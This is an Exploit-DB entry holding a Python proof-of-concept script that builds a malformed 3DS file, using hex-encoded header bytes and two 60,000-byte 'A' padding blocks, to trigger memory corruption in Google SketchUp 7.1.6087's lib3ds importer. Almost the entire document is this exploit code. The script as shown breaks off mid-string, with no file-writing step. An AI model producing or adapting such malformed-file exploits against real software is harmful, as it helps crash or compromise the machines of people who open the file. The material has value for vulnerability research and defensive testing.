Exploit-DB #11152
Description: Google SketchUp 7.1.6087 - 'lib3ds' 3DS Importer Memory Corruption
Type: local
Platform: windows
Date: 2010-01-16
Author: mr_me

Exploit:
#!/usr/bin/python
#
# Google SketchUp <= v7.1.6087 'lib3ds' 3DS Importer Memory Corruption
# Code by: mr_me
# Found by Corelabs
# Advisory: http://www.coresecurity.com/content/google-sketchup-vulnerability
# Download: http://download.cnet.com/Google-SketchUp/3000-6677_4-11097712.html
# Greetz to: Corelan Security Team::corelanc0d3r/ekse/EdiStrosar/Rick2600/MarkoT/
# Tested on: Windows XP sp3
# Notes: Latest version not vulnerable
#
# ** Welcome sinn3r, to the corelan team! **
#
crash = "\x41" * 60000

header =("\x3d\x3d\x6a\x0b\x00\x00\x3e\x3d\x0a\x00\x00\x00\x03\x00\x00\x00"
"\xff\xaf\xc2\x00\x00\x00\x00\xa0\x0e\x00\x00\x00\x4d\x45\x4e\x44"
"\x49\x4e\x49\x00\x10\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00"
"\x9f\xb6\x00\x12\x00\x09\x00\x00\x00\x6e\x8b\x00\x20\xa0\x18\x00"
"\x00\x00\x11\x00\x09\x00\x00\x00\xb0\x9c\x00\x12\x00\x09\x00\x00"
"\x00\x83\x6a\x00\x30\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00"
"\x00\x00\x00\x12\x00\x09\x00\x00\x00\x00\x00\x00\x40\xa0\x0e\x00"
"\x00\x00\x30\x00\x08\x00\x00\x00\x00\x00\x41\xa0\x0e\x00\x00\x00"
"\x30\x00\x08\x00\x00\x00\x00\x00\x50\xa0\x0e\x00\x00\x00\x30\x00"
"\x08\x00\x00\x00\x00\x00\x52\xa0\x0e\x00\x00\x00\x30\x00\x08\x00"
"\x00\x00\x00\x00\x53\xa0\x0e\x00\x00\x00\x30\x00\x08\x00\x00\x00"
"\x00\x00\x00\xa1\x08\x00\x00\x00\x03\x00\x84\xa0\x0e\x00\x00\x00"
"\x30\x00\x08\x00\x00\x00\x00\x00\x87\xa0\x0a\x00\x00\x00\x00\x00"
"\x80\x3f\xff\xaf\xee\x00\x00\x00\x00\xa0\x0b\x00\x00\x00\x43\x4f"
"\x4f\x50\x00\x10\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00\x00"
"\x00\x00\x12\x00\x09\x00\x00\x00\x00\x00\x00\x20\xa0\x18\x00\x00"
"\x00\x11\x00\x09\x00\x00\x00\x00\x00\x00\x12\x00\x09\x00\x00\x00"
"\x00\x00\x00\x30\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00\x00"
"\x00\x00\x12\x00\x09\x00\x00\x00\x00\x00\x00\x40\xa0\x0e\x00\x00"
"\x00\x30\x00\x08\x00\x00\x00\x00\x00\x41\xa0\x0e\x00\x00\x00\x30")

header += crash

header +=("\x00\x08\x00\x00\x00\x00\x00\x50\xa0\x0e\x00\x00\x00\x30\x00\x08"
"\x00\x00\x00\x00\x00\x52\xa0\x0e\x00\x00\x00\x30\x00\x08\x00\x00"
"\x00\x00\x00\x53\xa0\x0e\x00\x00\x00\x30\x00\x08\x00\x00\x00\x00"
"\x00\x00\xa1\x08\x00\x00\x00\x03\x00\x84\xa0\x0e\x00\x00\x00\x30"
"\x00\x08\x00\x00\x00\x00\x00\x87\xa0\x0a\x00\x00\x00\x00\x00\x80"
"\x3f\x00\xa2\x2f\x00\x00\x00\x30\x00\x08\x00\x00\x00\x64\x00\x00"
"\xa3\x0f\x00\x00\x00\x43\x4f\x4f\x50\x2e\x4a\x50\x47\x00\x51\xa3"
"\x08\x00\x00\x00\x00\x00\x53\xa3\x0a\x00\x00\x00\x29\x5c\x8f\x3d"
"\x00\x01\x0a\x00\x00\x00\x00\x00\x80\x3f\x00\x40\xa0\x09\x00\x00"
"\x67\x74\x6f\x77\x65\x72\x00\x00\x41\x93\x09\x00\x00\x10\x41\x9c"
"\x02\x00\x00\x37\x00\x06\x37\x80\xc2\x81\xd9\xa2\x41\x8b\x68\x9d"
"\xc1\x06\x37\x80\xc2\x85\xd9\xa2\x41\x98\x2b\xbf\x41\x06\x37\x80"
"\xc2\x2c\xe0\x26\x42\x8d\x68\x9d\xc1\x06\x37\x80\xc2\x2c\xe0\x26"
"\x42\x95\x2b\xbf\x41\x3b\xd9\x99\xc2\x2c\xe0\x26\x42\x8d\x68\x9d"
"\xc1\x3b\xd9\x99\xc2\x2c\xe0\x26\x42\x95\x2b\xbf\x41\x3b\xd9\x99"
"\xc2\x81\xd9\xa2\x41\x8b\x68\x9d\xc1\x3b\xd9\x99\xc2\x85\xd9\xa2"
"\x41\x98\x2b\xbf\x41\xe3\xce\x80\xc2\x19\x89\xa6\x41\x98\x2b\xbf"
"\x41\x15\x4c\x99\xc2\x19\x89\xa6\x41\x98\x2b\xbf\x41\xe3\xce\x80"
"\xc2\x3a\xe7\x24\x42\x95\x2b\xbf\x41\x15\x4c\x99\xc2\x3a\xe7\x24"
"\x42\x95\x2b\xbf\x41\x15\x4c\x99\xc2\x15\x89\xa6\x41\xc8\x9f\x99"
"\xc1\x15\x4c\x99\xc2\x38\xe7\x24\x42\xce\x9f\x99\xc1\xe3\xce\x80"
"\xc2\x38\xe7\x24\x42\xce\x9f\x99\xc1\xe3\xce\x80\xc2\x15\x89\xa6"
"\x41\xc8\x9f\x99\xc1\x18\xda\x80\xc2\x34\xa6\xa6\x41\xb2\x34\xb2"
"\x41\xad\x51\x99\xc2\x34\xa6\xa6\x41\xb2\x34\xb2\x41\x18\xda\x80"
"\xc2\xc4\xdb\x24\x42\xb0\x34\xb2\x41\xad\x51\x99\xc2\xc4\xdb\x24"
"\x42\xb0\x34\xb2\x41\xad\x51\x99\xc2\x34\xa6\xa6\x41\x4f\x30\xad"
"\x41\x18\xda\x80\xc2\x34\xa6\xa6\x41\x4f\x30\xad\x41\x18\xda\x80"
"\xc2\xc4\xdb\x24\x42\x4e\x30\xad\x41\xad\x51\x99\xc2\xc4\xdb\x24"
"\x42\x4e\x30\xad\x41\xd5\xd4\x86\xc2\x81\xd9\xa2\x41\x8b\x68\x9d"
"\xc1\xd5\xd4\x86\xc2\x82\xd9\xa2\x41\x54\xbe\x81\xc0\xd9\x35\x93"
"\xc2\x82\xd9\xa2\x41\x54\xbe\x81\xc0\xd9\x35\x93\xc2\x81\xd9\xa2"
"\x41\x8b\x68\x9d\xc1\xd5\xd4\x86\xc2\x50\x88\xa6\x41\x8b\x68\x9d"
"\xc1\xd9\x35\x93\xc2\x09\x71\xa6\x41\x8b\x68\x9d\xc1\x71\x07\x89"
"\xc2\xe6\x88\xa6\x41\x8b\x68\x9d\xc1\xd5\xd4\x86\xc2\x09\x71\xa6"
"\x41\xc8\x9f\x99\xc1\xd5\xd4\x86\xc2\x15\x89\xa6\x41\xc8\x9f\x99"
"\xc1\xd9\x35\x93\xc2\x09\x71\xa6\x41\xc8\x9f\x99\xc1\x71\x07\x89"
"\xc2\x09\x71\xa6\x41\xc8\x9f\x99\xc1\xd5\xd4\x86\xc2\x16\x89\xa6"
"\x41\x54\xbe\x81\xc0\xd9\x35\x93\xc2\x16\x89\xa6\x41\x54\xbe\x81"
"\xc0\x71\x07\x89\xc2\x82\xd9\xa2\x41\xfe\x9a\xb4\xc0\x71\x07\x89"
"\xc2\x81\xd9\xa2\x41\x8b\x68\x9d\xc1\x71\x07\x89\xc2\x15\x89\xa6"
"\x41\xc8\x9f\x99\xc1\x71\x07\x89\xc2\x16\x89\xa6\x41\xfe\x9a\xb4"
"\xc0\xa5\x0b\x89\xc2\x81\xd9\xa2\x41\x8b\x68\x9d\xc1\xa5\x0b\x89"
"\xc2\x82\xd9\xa2\x41\xcc\xbc\x81\xc0\x2a\xbc\x90\xc2\x82\xd9\xa2"
"\x41\xcc\xbc\x81\xc0\x2a\xbc\x90\xc2\x82\xd9\xa2\x41\x54\xbe\x81"
"\xc0\xa5\x0b\x89\xc2\xef\xa5\xa6\x41\x8b\x68\x9d\xc1\x2a\xbc\x90"
"\xc2\xba\xa5\xa6\x41\x8b\x68\x9d\xc1\x2a\xbc\x90\xc2\x09\x71\xa6")

header += crash

header +=("\x41\x8b\x68\x9d\xc1\x2a\xbc\x90\xc2\xba\xa5\xa6\x41\xc8\x9f\x99"
"\xc1\x2a\xbc\x90\xc2\x09\x71\xa6\x41\xc8\x9f\x99\xc1\xa5\x0b\x89"
"\xc2\xf0\xa5\xa6\x41\xc8\x9f\x99\xc1\xa5\x0b\x89\xc2\x15\x89\xa6"
"\x41\xc8\x9f\x99\xc1\xa5\x0b\x89\xc2\x16\x89\xa6\x41\xcc\xbc\x81"
"\xc0\x2a\xbc\x90\xc2\x16\x89\xa6\x41\xcc\xbc\x81\xc0\x2a\xbc\x90"
"\xc2\x16\x89\xa6\x41\x54\xbe\x81\xc0\x11\x41\x76\x00\x00\x00\x37"
"\x00\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00"
"\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00"
"\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x60"
"\x41\x36\x00\x00\x00\x00\x00\x80\x3f\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x80\x3f\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x80\x3f\x00\xea\x11\xbe\x08\x34\x28"
"\x40\x00\x00\x00\x00\x65\x41\x07\x00\x00\x00\x00\x20\x41\x3e\x06"
"\x00\x00\x70\x00\x01\x00\x00\x00